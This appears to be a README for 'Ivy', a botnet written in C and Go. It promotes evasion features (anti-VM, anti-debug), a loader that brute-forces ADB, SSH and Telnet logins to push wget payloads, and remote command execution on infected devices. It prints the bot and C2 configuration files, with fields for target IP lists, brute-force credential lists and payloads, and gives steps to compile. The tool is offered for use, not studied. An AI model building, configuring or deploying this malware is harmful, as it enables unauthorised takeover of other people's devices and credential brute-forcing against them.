Ivy is a large, feature-rich botnet written in C and Golang that is extremely easy to use, and comes with a built-in loader.
Feature | Description |
---|---|
Anti VM | The bot for Ivy checks if it's being ran in a virtual machine by checking for the uptime and hardware specifications. If it detects anything suspicious, it exits. |
Anti Debug | The bot for Ivy checks if it's being debugged. If it is, it exits. |
Loader | Ivy has a built-in loader that can brute and send payloads to devices via ADB, SSH, and Telnet. |
Command Execution | You can remotely execute system commands on all the connected devices. |
Configuration | Ivy makes it extremely easy to configure the loader, bot, and C2. |
The configuration file for the bot is located in util/bot/includes/config/config.h
.
#pragma once
/*
* util/bot/includes/config/config.h
* Date: 12/11/21
* Author: 0x80000000
*/
#define C2_IP "127.0.0.1"
#define C2_PORT 1337
The configuration file for the server is located in util/config/config.go
.
package config
import (
"net"
)
/*
* util/config/config.go
* Date: 12/11/21
* Author: 0x80000000
*/
var Bots []net.Conn /* Don't touch this! */
var BotCount int = 0 /* Don't touch this! */
/* Server Configuration */
const (
C2_IP = "127.0.0.1" /* Server IP! */
C2_PORT = "1337" /* Server Port! */
MAX_BOTS = 1024 /* Max amount of bots allowed to connect to the server! */
)
/* Loader Configuration */
const (
LOADER_ENABLE = false /* Set this to 'true' if you want to use the loader! */
LOADER_PAYLOAD = "" /* Add your own custom wget payload here! */
LOADER_OPTION = "" /* The options are '--adb', '--ssh', and '--telnet'! */
LOADER_IP_LIST = "" /* Add your list containing the IP addresses of targets! */
LOADER_BRUTE_LIST = "" /* Add your list containing the username/password combinations to brute against the target! */
)
Steps for compiling & running:
go mod init ivy
go mod tidy
./compile.sh
https://github.com/0x80000000